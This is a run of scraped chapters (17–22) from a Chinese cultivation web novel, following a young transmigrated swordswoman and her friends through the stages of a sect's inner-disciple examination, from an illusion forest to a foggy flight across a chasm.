那人也是不担心她心怀不轨,一岛上的灵植居然就这么放任给她打理了,不知是心太大还是别有目的。 就在从承言清理完手上的食材准备开烤时,天上忽的传来飞鸟的鸣叫声。 这样的天气,哪来的飞鸟? 几人同时抬头,只见一只巴掌大小的白 17. 内门考核(一) 《九十年义务修仙》全本免费阅读 内门考核日。 今日的昆仑峰比往日还要热闹,几乎所有昆仑宗弟子都聚集于昆仑峰处,等待着考核的开启。 对于已然通过了考核的内门弟子来说,这是不可多得的围观机会。 而对还未成为内门弟子的昆仑宗弟子来说,这更是一件要事。 伏令年三人跟在队伍当中,时不时左右张望着。 他们正前往平日里唯有内门弟子才能进入的幻影之地,准备接受第一项内门考核。 “你们看那里!”温季才小声道:“传说中的昆仑剑。” 伏令年顺着他的目光望去,入目是云雾缭绕的天空,以及那矗立于云端,无法忽略的庞然巨物。 顺着巨物往上看去,隐约可见顶部呈现剑柄的形状。 巨剑看上去并无出彩之处,仿若千年的磐石,亘古不变。 它就静静地矗立着,直插云霄。剑身至剑柄都透着古朴肃静的意味,整体呈淡青色,又泛着些许蓝。 看着这把巨剑时,伏令年忽的觉得内心平静了许多,不由自主地泛起一阵安全感。 昆仑剑,传闻是昆仑宗开宗之主的佩剑。 在开宗之主飞升之日,她投下昆仑剑,以庇佑世代弟子。 它既是有天下第一剑之誉的昆仑剑,亦是庇佑昆仑宗乃至人间的守护之剑。 后世几位善于卜算的大能皆先后提出相似的预言——当世界面临黑暗与毁灭之时,将有人拔出此剑。 听上去就很主角的样子。 伏令年盯着那绝不是能被人“握在手中”的巨剑,心中啧啧道。 “莫要挡了他人之路。”一道冷嗖嗖的声音忽的传来,语气十分不友好。 伏令年还以为是自己刚刚恍神间走慢了,她紧走两步跟上前面之人,转头去瞧才发觉本应跟在她身后的从承言没跟上来。 他正有些痴迷地盯着昆仑剑,似是一时间入了迷,居然僵在了原地。 那出声提醒之人也正好朝伏令年看了过来,两人眼神在空中相对。 好家伙,不看不知道,居然是那日在昆仑峰遇见的高傲少年。 高傲少年也显然是记起了在哪里见过伏令年。 他冷笑一声:“我说怎么如此不懂规矩,原来是没见过世面的外门废物。” 他这话说的不算大声,但让周围之人都听见是绰绰有余。 为了避免作弊,不同小组全都打散进行排列。好巧不巧,伏令年一行人所处的队伍中都是准内门的弟子。 少年话音刚落,伏令年三人就感觉到好几人都朝他们投来了各异的目光。 或是好奇、或是鄙夷、又或是讥讽。 温季才本来还拽着从承言往前走,听到少年讥讽的话语,顿时被点燃了,就想骂回去。 伏令年看了眼少年腰间标识着他是护考弟子的物什,抢先出声打断了温季才的输出。 “咳咳,我们走吧。” 倒不是怕温季才会输了嘴上的较量,但在如此情况下,和一位护考弟子发生口头甚至是肢体上的冲突是很不明智的。 温季才信任伏令年的选择,但依旧有些憋屈和不解。从承言更是阴沉了脸色,他很小便开始练剑,天赋异禀,内心自然有股傲气,可从未被人如此羞辱过。 高傲少年见三人都不敢吭声,他冷笑一声,心中更是鄙夷,转身打算离开。 就待众人以为事情将以三人憋屈收尾时,高傲少年忽然听见少女的冷笑声。 他转过头去,就见伏令年抱着手臂,对他上上下下打量了一番,毫无尊重之意,末了还一声冷笑。 紧接着,温季才也和伏令年做出了一模一样的动作,附赠冷笑一声加白眼一个。 从承言没搞懂他俩在干什么,但看高傲少年逐渐阴沉的脸色,莫名觉得很爽。 但让他这张面瘫脸去模仿伏令年两人灵动的动作,着实有些为难,于是他送给了高傲少年一声冷笑。 三人做完动作便立即转身跟上了队伍,什么也没说,但好像又说了什么。 高傲少年脸色阴沉的像是能滴出水来,他一向瞧不起那些天赋不足的弟子,更无法接受比他弱小之人用这样的眼神去打量他,这对他是莫大的羞辱。 然而这里不是他能为所欲为的地方,他也不敢出手去教训这三个不知天高地厚的家伙。 即使是用话语羞辱三人,他翻来覆去也只能讲出类似于废物、愚蠢之类的话,而这话对于伏令年来说伤害简直近乎为零。 面对高傲少年的羞辱,伏令年始终一句话都不说,只是冷笑一声,并且学着少年的神情回以鄙夷的眼神。 高傲少年觉得自己就像触发了什么丝滑小连招,只要他一开口,就会触发三人组的鄙夷目光,冷笑连连。 他很想发作,但这几人就是不还嘴也不动手,让他觉得自己一拳好似打到了棉花当中,一时拿他们没有办法。 一路上的弟子大多安静,唯有伏令年这块怪热闹的。很快便吸引了其余护考弟子的目光。 “怎么了?”有些熟悉的声音响起,正是容晋卿。 他也是这次考核的护考弟子之一,原本就忧虑着三人组没了师兄师姐的压制会不会惹出什么是非。结果这下好了,一下就跟一位护考弟子发生了冲突。 头好痛。容晋卿面容带笑,内心流泪。 抱着控制三人组别惹出麻烦以及维护一下他们三人的心思,发现不对劲的容晋卿赶紧靠近了几人。 当看清这个护考弟子的面容时,他心中暗道不好。 惹谁不好,怎么就惹了这个绯月峰的小祖宗。谁人不知绯月峰的峰主最护短。 高傲少年没理会容晋卿,他冷哼一声忽的挥袖转身离开了,显然没把他这个同级别的弟子放在眼里。 还没等容晋卿说什么,就听到三声冷哼接连响起。 什么鬼动静? 他扭头看了一眼伏令年三人的神态,又看了一眼高傲少年越走越快的背影,一时间无语凝噎。 “好啊,你们三个是厉害了。”容晋卿小声警告三人:“敢惹绯月峰的人。” “冤枉啊。”温季才道:“我们备受欺凌啊。” “看不出来。”容晋卿感觉脑袋更疼了:“少惹些事,好好考核,知道吗。” “知道了,师兄。”伏令年乖乖答应,表情真挚。 而在不久前,她还正摆出一副欠扁的姿势对着高傲少年发出冷笑呢。 有容晋卿陪同在附近,未再发生什么意外。 一行人来到了幻影之地。 周围是葱郁的密林,绿 18. 内门考核(二) 《九十年义务修仙》全本免费阅读 顿时,一股信息流涌入她的灵识海中。 和系统提示的感觉很像,灵识海中浮现出几行字体,是她的个人信息和本次考核的规则。 【个人编号:233 姓名:伏令年 身份:外门弟子 主修:剑修 队伍编号:100】 【昆仑宗内门考核:其一】 【参考者准则: ①禁止斗殴 ②禁止袭击护考弟子 ③若出现以上违规行为,护考弟子将给予制止与警告,超过三次取消该参考弟子考核资格 ⑤遇到意外情况可击碎身份铭牌即可离开考核场地 ⑥完成任务,成功晋级】 伏令年看到这儿,抽了抽嘴角。 都说每一条规则的存在都是有故事的,也不知道这几条规则的背后究竟有什么样的故事。 【考核任务:到达终点】 除此以外再无其余提示。 伏令年不甘心,翻来覆去地用神识“翻动”身份铭牌,还真让她发现了新东西。 借助身份铭牌,她能对两个不同的方向产生大致的感应。那大约是温季才和从承言所在的方向。 收起身份铭牌,伏令年将注意力放回外界。 四周依然静悄悄的,什么声音都没有。 伏令年小心往前又走了两步,耳边只能听见鞋履摩擦地面的动静。 强忍住诡异环境带给她的不适感,伏令年选取身份铭牌感应到的其中一个方向走去。 …… 祝识因和同伴来到了昆仑峰中央的大广场处。 “哇……”同伴轻声叹道:“昆仑剑真是令人震撼……若我是个剑修该多好…” 祝识因的视线透过攒动的人影,望向最中央处那把古朴且威严的巨剑。 她嘴中打趣着同伴:“你不是还说剑修的修炼方式太粗野了,不适合你这种柔弱美女子嘛。” 同伴嘿嘿讪笑两声,嘟囔道:“那也不是全部剑修都很粗野嘛,例如绯月仙尊那样……既美丽又强大。还有沈师兄那样俊美的……” “打住打住。”祝识因无语:“你口水都要流下来了。” 一边说着,她一边拽着同伴朝不远处人群聚集的地方走去:“走吧走吧,考核已经开始了,一会儿没位置了。” 按照从前的经验,这种类型的考核起码得持续三天。护考弟子会被分成好几批,轮换进入考核场地。未轮到的护考弟子则大多会选择在外头观看考核情况。 人群聚集之处,有一块巨大的半透明物什。在修仙界,人们称其为水影幕。 祝识因与同伴找到合适位置坐下不久后,水影幕上逐渐开始浮现画面,正是考核进行的场景。 几乎一模一样的密林图景出现在众人面前。 水影幕中的参考弟子们各自处于不同的区域,摸索着前进,却始终在一个范围内打转。 这是伏令年第三次经过有分支的路口。 她在路口停住,皱眉打量着两边的绿植。 总有种似曾相识的感觉。 根据身份铭牌的感应,温季才和从承言偏离了原来的方向。伏令年原本选取的是靠近两人的路径,却不想走过几个路口反而和他们相隔更远了。 伏令年停下脚步,在储物木牌中扒拉了一会儿,掏出一个放得有些干巴的粗粮馒头。 她一只手抓着馒头,另一只手将馒头揪成一块一块的。每走五步便扔下一块。 走了百来步,伏令年面前再度出现熟悉的岔路口。她打量了一下两边路口的地面,只看见几株生命力顽强的杂草从岩石缝隙间往外伸展着细嫩的枝叶,除此之外,便是单调的泥土与碎石。 没有馒头屑。 这次,伏令年没有刻意根据感应到的方向选择路口,她嘴里念叨着“男左女右”再次选择了右边的路口。 连续重复三次,她每次遇到岔路口时都选择了右边的路口,同时往地面上撒馒头屑。 然而,她再未见过同样撒着馒头屑的路口。 再次选择路口,这次,伏令年选择了左边的路口,并用匕首在左边的树木上刻上一个三角形以及数字“1”。 重复多次,每一次遇到路口,伏令年都在左边路口的树木上刻下三角形以及逐渐递增的数字。 再一次到达路口时,伏令年的脚步顿住了。 左侧路口的树上刻着三角形和数字“2”,地面上则撒着一块馒头屑。 伏令年靠近左侧路口,捡起那块馒头。 无论是色泽还是硬度,都和她带着的相差无几——这是外门膳堂每日都有的粗粮馒头。 伏令年三人都在储物木牌中装了一些这种粗粮馒头。从承言嫌弃占位置,带的最少。 “温季才…还是从承言?”伏令年轻声道。 周围实在太安静了,伏令年想说话给自己缓解一下气氛,又被自己突兀的声音弄得毛毛的,遂闭上了嘴。 就在这时,一道杂音突兀出现,回荡于四周,仿佛平地一道惊雷。 伏令年被吓得整个人都快蹦起来了,心脏猛地收缩,耳膜鼓动着血液流动的声响。 没忍住骂了句脏话,伏令年从怀里掏出那发出怪声的东西——身份铭牌。 “谁?”两道声音几乎是重叠着响起,顿了一会儿,两人同时喊出了对方的名字。 “温季才!”伏令年松了一口气:“你吓死我了。” “你也吓着我了!”温季才的声音从身份铭牌中传出,有些失真:“怎么突然就能联系上你了。” “不知道。”伏令年晃了晃身份铭牌,喊了几声从承言的名字,都未得到回应。 通过身份铭牌感应,有一人距离她所处的位置非常近。 “是距离。”伏令年判断道:“我们距离比较近,从承言离我们太远了。” 温季才同意伏令年的判断。 一阵窸窸窣窣的声响从身份铭牌中传出,伏令年有些疑惑:“你在干什么呢?” 对面突然没了回应。 又过了一会,温季才的声音响起:“喂,喂,能听见吗?” 伏令年莫名有种在打电话的既视感,她下意识把身份铭牌凑到耳边,下一刻便被温季才的大嗓门震得皱起了眉。 “能听见,你刚刚在做什么,好像突然听不见你的声音了。”伏令年默默把身份铭牌拿远了一点。 “我也是。我刚刚想着你和我距离很近,所以爬到树上想看看能不能找到你。结果等我爬到树冠上喊你名字的时候,你那边就没声了,我一下树,就听见你的声音了。” 伏令年若有所思:“你在树上看到了什么?” “树。”温季才说:“一大片茂密的,死气沉沉的树。” “死气沉沉?”伏令年抓住了温季才的形容词。 “对。”温季才道:“死气沉沉的,和我们平时看到的树木不 19. 内门考核(三) 《九十年义务修仙》全本免费阅读 周遭的光线越发暗淡,温季才的嗓音也渐渐隐匿于黑暗当中。 伏令年喊了几声,再也没能得到回应。 她眉头紧锁,通过身份铭牌感应温季才的位置,得出两人距离拉远了的结论。 伏令年选了棵比较粗壮的树,攀着枝干往上。穿过繁密的枝叶,她看见了天空。 一片漆黑。 在漆黑的密林内行走时,伏令年已将灵力汇聚至双眼,可在黑暗中视物。 因此,她刚才竟未发现天色已然全黑。 穿透如浓墨般的夜色,伏令年注视着身下郁郁葱葱的树木。 枝叶在震颤,是起风了吗? 伏令年眉头微蹙,闭眼感受四周的气流。 不像是风拂过的感觉,更像是…… 树木在移动。 这样的猜想让伏令年心尖一颤,正当她准备重新回到地面上时,却见天边透出朦胧的光亮。白色以极快的速度席卷了天际,眨眼之间,天色已然大亮。 枝叶停止了颤动,一切恢复了宁静。 回到地面后,伏令年首先检查了左右路口的痕迹。右边空无一物,左侧则依旧残留着馒头的碎屑与雕刻的痕迹。 她和温季才明明没有移动,距离却拉远了。这更佐证了她的猜想。 树木在移动…更准确来说,是伏令年所处的这块区域在移动。 此处夜晚和白昼的交替显然也有问题,或许黑白交替就昭示着区域移动的时限。 如果真如她所想,那穷举法便失去了意义。 伏令年压下心中的烦躁,回想着温季才最后的话。 他说,他感受到了“风”,让她朝“有风的方向”走。 伏令年盘坐在地上,认真地感受温季才所说的“风”。但四周静悄悄的,空间也似凝固了,又何来的风? 温季才究竟在打什么哑谜? 黑夜与白昼交替了几个来回,不安和焦躁如附骨之疽丝丝渗入伏令年的心间。 她脑海里幻想自己考核失败的画面,又时不时想起自己曾经坐在考场上写不出题的慌张感,脑中一片混乱。 “不对…冷静一点…” 伏令年觉得自己的状态很不对劲,她盘腿坐下,试图用打坐帮助自己平静下来 “噗通…噗通…噗通…” 心脏跳动渐渐变缓,伏令年呼吸由深至浅,逐渐平稳。 灵力于经脉中运转,随着气息吞吐,身周有气流在涌动。下身仿佛与大地相连,成了自然的一部分。 宁静的感觉抚平了伏令年心头的浮躁。 心头一动,伏令年突发奇想。在入定的状态下将神识往外延伸。 无形的神识如水般漫开,流淌着经过土地,曲折着蜿蜒向前,穿过细密的枝叶,渗入每一道缝隙。 在神识的“视角”中,四周充盈着各色的莹莹光点。在伏令年的控制下,神识伸出长长的触角,轻轻与光点相触。 灵魂突破了肉身的束缚,神识如同决堤的洪水,不断奔腾着往外延伸。 树木在吐息,风儿在歌唱,土地的脉搏跳动着,万物仿佛从沉眠中苏醒,新生的气息代替了死寂。 就在伏令年沉浸于这种飘飘然的感觉中时,脑子嗡得一震,神识扩散的势头被无形之物挡住。 神识一股脑涌回脑海,伏令年捂住脑袋,发出低低的呻吟声。 脑袋塞满了乱七八糟的东西,伏令年一时间只觉得脑袋涨痛,太阳穴突突直跳。 伏令年睁开眼,周遭环境照旧,一片死气沉沉,和刚刚用神识感受到的模样大相近庭。 【心明】 伏令年心中再次浮现出这个词语。 她重新闭上眼睛,以超脱肉身的方式感受着周围的一切,倾听万物的声音。 她听到了——“风的声音”。 遵循着内心的声音,伏令年朝着“有风的地方”前进。有好几次,她都想要睁开眼睛,看看面前究竟是平坦的道路还是嶙峋的木石。也忧虑过下一刻会不会将自己撞得头破血流。 但最终,她依旧坚信着自己心的感受,紧闭双眼,坚定向前踏出每一步。 一步…两步…一百步…两百步… 左转…右转…向后转… 尽管所有感官都在告诉伏令年前路并不正确,但她依旧一步一步地走向未知。 伏令年的脚步越来越快,从试探到坚定,由跬步至奔走。最后,她几乎是奔跑着穿行于林间。 “沙沙” 是衣袍划过空气的声音。 “沙沙” 是鞋履与地面摩擦的动静。 “沙沙” 是树叶被风吹拂的响动。 骤然出现的阳光透过伏令年紧闭的眼皮刺激着她的感官,伏令年抬手挡了挡,缓缓睁开了双眼。 待到完全适应光线,伏令年放眼望向前方。 阳光下,湖泊犹如一面巨大的镜子,静静地躺在山谷之间,泛着凌凌波光。 伏令年回头望向来路。 树影婆娑,重重叠叠,其间缝隙不足半人通过,又何来的道路。 原本宛若凝聚的空气重新流动起来。 伏令年的发丝被微风拂过,挠的她后颈有些发痒。她贪婪地吸了口清新的空气,整个人神清气爽。 体内有什么禁锢破碎了,尽管没有他人提示,伏令年就是明确地知晓——自己突破了。 “二丫!”有人在喊她。 在宗门中,会喊她“二丫”的也只有温季才一人了。 果然,伏令年循着声音望去,就见温季才一脸惊喜地朝她跑来。 “你出来了!”他一脸得意:“我就说嘛,在我英明的指导下,再笨的人也能走出来。” 伏令年没搭理他后半句话,转而问道:“从承言呢,还没出来?” 温季才有些忧虑瞧了一眼密林:“你也不是不知道他,他笨。” 被温季才的语气逗笑,伏令年咧了咧嘴角:“待会儿我就把你这句话告诉他。” 密林之中的考核说难不难,说简单也不简单。 在密林当中,大家的感官皆被幻境所蒙蔽。眼前只能看到那两条分叉的道路。 因此在一开始,正常人的首要想法都是如何在这两条岔路之中分辨出真实的道路。 这样想法恰恰使他们走入了错误的循环。 如果只是在两条岔路中选择一条行走,那永远都无法找到真正的出路。 而破解这“难题”的方法却一点不难。 从炼气期开始,修仙者便能学会入定打坐吸收周围的灵气,并与四周的环境相连相通。 在此基础下,修仙者能够将自己的神识外放延伸到最大的程度。 修为越高者,神识延伸的广度便越大。 20. 内门考核(四) 《九十年义务修仙》全本免费阅读 正是伏令年两人苦苦等待的从承言。 从承言此时的模样颇为狼狈,白衣上沾染着泥土与木屑。他脸色沉寂且苍白,眼神透着警惕。 看到伏令年两人后,他的眸光闪了闪,手中巨剑的焰火消散,恢复成正常的模样。 “怎么弄成这幅样子。”伏令年本来还想谴责从承言剽窃她创意,看到他现在这幅惨兮兮的模样,话到嘴边又转变成了关切。 从承言没吭声,他收起佩剑,朝伏令年两人走来。 然后,他在众目睽睽之下伸手掐了温季才一把。 “啊啊啊!”温季才未曾料到从承言会有如此行为,疼得怪叫一声,一溜烟躲到了伏令年身后。 眼见着从承言的目光朝自己扫来,伏令年一个后撤步就想把背后的温季才揪出来当“挡箭牌”。 “掐他掐他,别掐我。” “你们……是真的。”从承言吐了口气,整个人放松下来。 经过短暂的修整,从承言才渐渐恢复了些状态。 据他所说,在穿越密林的过程中,他多次目睹了奇异的幻象。 “我刚刚选择了左边的道路,突然看见你们俩走在前面。我出声唤你们的名字,但你们似乎并未听见。 当我到达下一个分岔口时,你们的身影却消失了。 紧接着,我开始频繁地遭遇一些诡异的幻象,甚至还看到了我的母亲……” 从承言有些含糊地描述着他所见的幻象。 “然后,我又看到你们了。这次,我清晰地看到了你们的脸。正当我想要靠近你们时……”从承言咽了口唾沫,三人中胆子最大的他竟也露出了一丝惧色。他的声音略显颤抖:“你们突然融化了…” “唔…好惊悚。”伏令年光是想想那样的画面就觉得理智要被清空了。 “你们未看见过这样的幻象吗?”从承言问。 “没有。”温季才摇头。 “我应该也没……”伏令年话头忽然顿住:“不对,我似乎也见过幻象。” 和温季才失去联系的那段时间里,她因为找不到正确方向而焦躁不安。脑海里总是会闪过乱七八糟的画面,眼前也似乎浮现出幻想中的场景。 不过她所看到的幻象远远未有从承言所见的真实,内容也不如他所见来的惊悚。 ——至少她还清楚地知晓自己正在进行内门考核,而不是重新回到了考场上面对一张看不懂的试卷。 因此,若没有从承言的经历,伏令年还认为那是她自己在脑子里胡思乱想的场景。现在听从承言所述,才发觉当时所看到的情景有些太过真实,已然超出了幻想的范畴。 “或许看到幻象的真实程度与在密林中停留的时间有关。”温季才提出猜测。 三人中温季才出来得最早,也唯有他认为自己没见过幻象。第二个出来的伏令年看见过幻象,但不如从承言来得严重。 “也可能和个人经历有关。”伏令年补充道。 从承言点点头,认同两人的猜测。 “不管怎样,后面的路程我们也要小心。”毕竟,幻影之地可不仅仅是个名称而已。 严肃的讨论告一段落,伏令年忽的想起一件事,问道:“你幻觉这么严重,最后是怎么找到出路的?” “我通过身份铭牌感应到你们俩所处的方向重叠了,猜测你们已经走出了这片密林。所以……”从承言沉默了一会,转头看了眼被自己砍倒一片的密林。 看着那被硬生生砍出来的小道,伏令年和温季才沉默片刻,一同朝他竖了个拇指。 孩子不太聪明,但孩子有力气啊。 那位黑衣少女估摸和从承言是同一种情况,硬生生把技巧破解变成了暴力破解。 对此,伏令年不禁感叹:昆仑宗果然“群英荟萃”! 而在后续护考弟子的统计中,用此类暴力手法走出密林的弟子竟不下十位。 针对这样的情况,多位长老及弟子联合提案于下次考核时添加新的规定——不得破坏宗门公共财务。 然而,由于未知的原因,此提案未被采纳。 从承言走出密林不久后,天边挂上了晚霞。幻影之地的日夜更替速度极快,根据以往的经验,不到一炷香的时间,天色就会完全暗下来。 三人并未急着赶路,而是找了块临近湖泊的空地,开始就地生火。 由于缺少燃烧物,温季才还跑到那片被从承言“辣手摧木”的密林处,砍了几块木柴回来。 天色渐暗,明亮的火光将几人的影子拉得很长,与其余隐没在黑夜中的弟子形成了鲜明的对比。 伏令年盘腿坐下,开始从木牌中往外掏东西。 天大地大,吃饭最大。 烤肉的香气在空气中弥漫,勾得人垂涎欲滴。 大多数修仙者自练气期起便杜绝了口欲,少食凡物,以此保持身体的纯净。虽然他们还未达到完全无需人间五谷的境界,但多数人会选择辟谷丹维持日常所需。 辟谷丹的确方便饱腹,却缺少滋味。 作为在大吃货帝国生活了18年的人,伏令年很难习惯不吃东西的生活。 即使一开始穿越成了乞儿,她也是能吃一口饭就绝不放过。到了昆仑宗,即使节省,也得吃馒头填肚子。 总之,吃饭于伏令年而言是除了赚钱以外的头等大事。 而温季才和从承言显然也是这么认为的。 三人完全无视了他人异样的目光,就这么大吃大喝起来——反正准则里没规定参考弟子不能就地烧烤啊。 伏令年正吃得起劲,忽觉得背后一凉。她心有所感,回头望去,正巧与那黑衣少女目光交汇。 她正蹲在不远处的树木下,乌黑的双眸中倒映着熊熊火光,在黑暗中微微发亮。 见伏令年看来,她的目光便牢牢地锁住了伏令年——准确来说,是锁住了她嘴边的肉。 伏令年吸溜了一下,将肉吞进了肚子里。 不知是不是错觉,她似乎从黑衣少女面无表情的脸上读出了一丝委屈和渴望。 盯了伏令年一会,少女攀着枝干爬到了树上,将身影隐藏于其中。 像只黑猫。 伏令年心中涌现出这样一个想法。 吃饱喝足,身体暖洋洋的。伏令年只觉得心底的那一丝由于密林一行而产生的不安都消散了。 从承言的脸色也红润起来,恢复了正常的状态。 吃饱了饭,三人便开始争论下一件大事。 ——那便是粘满油污的铁签要放到谁的储物木牌中。 “你放。” “你放!” “我不放。” 三人对这铁签都嫌弃的很,吵了几轮都没能争出个结果,伏令年忽然觉得不对——自己怎么真跟个小孩似的在这“吵架”呢。 难不成身体变小了?心智也变回小时 21. 内门考核(五) 《九十年义务修仙》全本免费阅读 眼见着两人要起冲突,坐于主位的男子微微抬手下压。 “好了。”他笑容温和:“继续观察考核情况吧。” 饶是如陈旭那样脾气火爆之人,在主位男子发话后也不敢再说什么,只是狠狠地蹬了沈枫泽一眼。 沈枫泽的表情依旧平淡,他的指尖轻柔地摩挲着剑柄,未再发一言。 …… 眼见着铁签轻轻触碰到水面的那一刻,伏令年忽感觉到神识海受到触动,她的动作稍微停顿了一下。停顿很短暂,她很快就恢复了自然,继续将铁签向水中深处伸去。 铁签继续往下,似乎碰到了什么东西。 原本平静的湖面骤然翻滚起来。如镜面般的湖水猛然破碎,似乎有什么东西要从水中蹿出来。 伏令年手下用力,铁签受阻,随即如刺破果肉般陷入其中。 手腕发力,伏令年将铁签抽出水面,只见铁签上串着长条状的物什。它不断乳蠕动着,宛若一条长蛇。 “啊!”温季才发出了一声惨叫,整个人朝从承言的方向缩:“有蛇!” 伏令年看着铁签上不断挣扎的物什,只觉头皮发麻,强忍着不适没有下意识甩开手中的铁签。 细细看去,那条状物呈浅蓝色,由一条条更细的浅蓝色丝状物缠绕而成,分不清它的头尾。 【九十年义务修仙系统提醒您 发现【蛇形草】】 这是神识海首次触动受到的提示。 【任务】【完成《灵植学大全》】 【任务详情】 第一篇总完成度40% 第一节完成度45% 第二节完成度35% 第三节完成度40% 这是抽出铁签后得到的提示。待将【蛇形草】的其余特征记录完毕后,第二节就能另外获得百分之五的完成度。 长条状物挣扎了一会儿便渐渐失去了活力,黏哒哒地垂落下来。 伏令年被甩了一脸水,面露嫌弃之色。见长条状物不挣扎了,直接将铁签连带着长条状物丢进了储物木牌中。 走回原处,只见温季才脸色苍白,似乎被吓得不轻。 伏令年被他的表情逗笑:“你害怕蛇?” “不是怕。”温季才嘴硬道:“是觉得恶心。” 小插曲过后,天边出现了一道亮色。 白昼替代了黑夜。 灭了火,伏令年三人收拾好地面的狼藉,不紧不慢朝着温季才发现的那个豁口处走去。 豁口处,烟雾缭绕,身处其中之人只怕连三步之外也无法看清。 “你之前看见的情况也是这样的么?” “不是。”温季才否定道。 伏令年犹豫片刻,没敢直接出去。她拍了拍温季才的肩膀:“你去吹一下。” 温季才无语:“把我当什么了。” 话虽不情不愿的,温季才还是凑近豁口,运行周身灵力。 随着周围空气流动的加速,微风汇聚,向豁口处汇聚,吹散了部分雾气。然而,雾气仍旧持续不断地涌现,无法被风清除。 努力了一会儿,温季才摇了摇头。 伏令年三人后边还跟着几位也准备启程的弟子,眼见如此场景,众人一时间都不敢轻举妄动。 约莫过了半柱香的时间,雾气渐渐变淡,接着缓缓消散。气流由豁口处吹入,吹得几人衣摆飘荡作响。 由豁口往外看,绿莹莹的青草率先印入眼帘。 众人接连从豁口走出,面前顿时开阔。 就如温季才所言,此处是一片断崖,再无能前行的道路。此时光线充足,肉眼能看见很远的地方。 众人皆是修士,目力极佳。 环视四周,皆空无一物。只有正前方矗立着一座山头,明晃晃的告诉众人它便是目的地。 地上没有路,那便只能走天空上的“路”了。 于伏令年一众剑修而言,御剑飞行是很基础的能力。但对于非剑修的修士而言,就不一样了。 尽管修士们飞行并不仅限于驾驭剑器。只要拥有能够支撑自身的物品,就能够实现御物飞行。在此理论上,技巧得当,甚至能左脚踩右脚上天。 然而,经过历代修士们的实践探索,驾驭剑器进行飞行被证明是最高效且灵活的方式。 因此,非剑修的修士在修为较低时几乎不会将注意力放于御物飞行上。 参加考核的弟子皆为筑基期。其中剑修最多,占其中一半。另一半则是主修其余职业的修士。 “这不是为难我们吗。”身为丹修的姜也皱眉看着对面的山头。此时已经有急性子的剑修御剑腾空而起,往对面山头疾驰而去。 “怎么办?”同小队的队友眉头紧锁,他们小队全都是丹修,这对于他们而言是极大的劣势。 “同学…呃不…道友,需要帮助吗?”姜也一转头,顺着声音的方向望去,没看见人。 “你要不低下头来看看呢。”伏令年无奈地看着注视着她头顶空气的人,再次出声提醒。 同时,她心里期盼着自己快些长大,顶着这具12岁的身体只有仰视他人的份,实在是太不方便了。 ——还有,丹修怎么一个个都长得这么高? “啊…不好意思。”姜也挠了挠耳朵,低头看着伏令年,有些不好意思:“你刚刚说什么?” 伏令年再次露出商业性的微笑:“道友,我可以载你去对面。”她指了指山头:“仅需五块灵石,买不到吃亏买不到上当噢。” 姜也正疑惑地打量着面前这个身高不及他胸口,外表天真烂漫的少女时,就见不远处的队友也被不知从哪儿蹿出来的小矮子缠住了。 “考虑一下嘛,只要五块灵石,过了这村可没这店了~”温季才卖力地推销着自己的御剑技术。 更远一些的地方,从承言一脸认真地看着对面的医修:“五块灵石。” 对面的医修年纪也不大,还以为自己遭了打劫,吓得脸都白了。 目睹这一切的姜也一时间不知该说什么,转而见伏令年一脸真诚地继续推销自己:“我御剑技术超级好的。” “六块下品灵石,载我过去如何。”就在姜也犹豫不决,搞不清楚面前少女是否心怀不轨时,一道声音插了进来。 伏令年眼前一亮,朝出声之人望去。 普通身材的墨发青年,腰间青色与玄色纹路交叉呈现,正是伏令年在密林入口瞧见的那人— 22. 内门考核(六) 《九十年义务修仙》全本免费阅读 “我怎么感觉…起雾了?”姜也的声音在风中显得模模糊糊,听不大真切。 伏令年偏头扫视四周,不知何时,周围弥漫了一层薄雾。那雾气似乎是从底下深不见底的缝隙中弥散出来的,源源不断。 很快,可视范围便极具缩小。即使伏令年将灵力聚集到双眼处,也仅能穿透近处的薄雾看见前方。 在这种情况下,很难确定飞行的方向。 就在姜也以为伏令年会停下在原地等待雾散时,却感到脚下飞剑内灵力涌动,身体骤然失重。 两人连带着飞剑猛地下沉了一段距离,姜也惊呼一声,还以为伏令年出了什么意外。 飞剑下沉的势头顿住,紧接着向前方疾驰而去。 还未等姜也发问,就听见伏令年轻声道:“头上有东西。” 少女的嗓音平静,透出不符合她年龄的沉稳。 听着她平淡的嗓音,姜也紧张的情绪稍稍被抚平。闭上嘴,他仔细倾听着周围的声响——在狂风的呼啸声中,似乎夹杂了什么怪声。 “站稳了。”伏令年提醒了一句,飞剑再次骤然变速,拐了一个大弯。 那怪声更大了,近乎擦着他们的身体而过。 在擦身而过的那一刻,两人皆看见了那发出怪声之物。 浓厚到近乎呈现乳白色的浓雾中,一只只约有拳头大小的飞鸟穿行于其中。它们的双翅以极快的速度震颤着,摩擦空气发出阵阵怪声。 飞鸟不大,双翅看着也薄如蝉翼,但伏令年确信若是在飞行中以血肉之躯同它们相撞,绝对吃不了兜着走。 伏令年的精神高度集中,用感官捕捉周围的动静,控制飞剑不断转向以躲避这些飞鸟的自杀式撞击。 连着躲避了几回,伏令年明显感觉有些吃力。飞鸟的数量似乎在不断增加,好几次都险险擦着他们身侧而过。就算勉强躲了过去,它们也会源源不断转向朝着他们追逐而来。 “姜道友。”伏令年唤了姜也一声:“麻烦你将这些小东西打下去。” “啊?”姜也有些迷茫:“用什么打?” “什么都可以,统一发放的匕首…”伏令年顿了顿,想了想:“算了,估计你也不会用。炼丹炉呢…你有吧?” “有的——”姜也的声音跟着转向的飞剑在空气中划过了一道弧线,听着有些滑稽。 “把炼丹炉取出来。” 姜也不知道伏令年打的什么主意,但在眼下紧急的情况下,他听从着照做了。 “然后呢?” 伏令年一只手抓着身份铭牌感应方向,另一只接过姜也的炼丹炉,下意识用手指摸索了一下。 “材质真好。”她低声嘟囔了一句。 “什么?”姜也没听清楚。 “我说…”伏令年手腕发力,挥动着炼丹炉朝前方的飞鸟砸了过去:“这样用。” 只听“砰!”一声,隐约可见一道黑影往下方坠去。 “……”姜也被这一下震得久久回不过神来,他甚至忘记了自己还处在危险的环境中,脑子里全都是他的炼丹炉居然被用来干这种事?! 炼丹炉对于炼丹师们而言是极其重要的,平日里宝贝着,恨不得一天擦拭保养几十次,哪有像伏令年这样粗暴地拿来砸的。 “姜道友,靠你了!”直到伏令年将炼丹炉塞回他手中,姜也才有了实感,他颤颤巍巍地察看自己的宝贝炼丹炉,瞧见上头残留着几根黑色的羽毛。 至于炼丹炉本身,自然没什么事。能承受灵火炙烤,用来打造炼丹炉的物质必然是极为坚韧的。从材质和结构上比较,在“坚硬”属性上,炼丹炉属实是修仙者手中的最强“武器”。 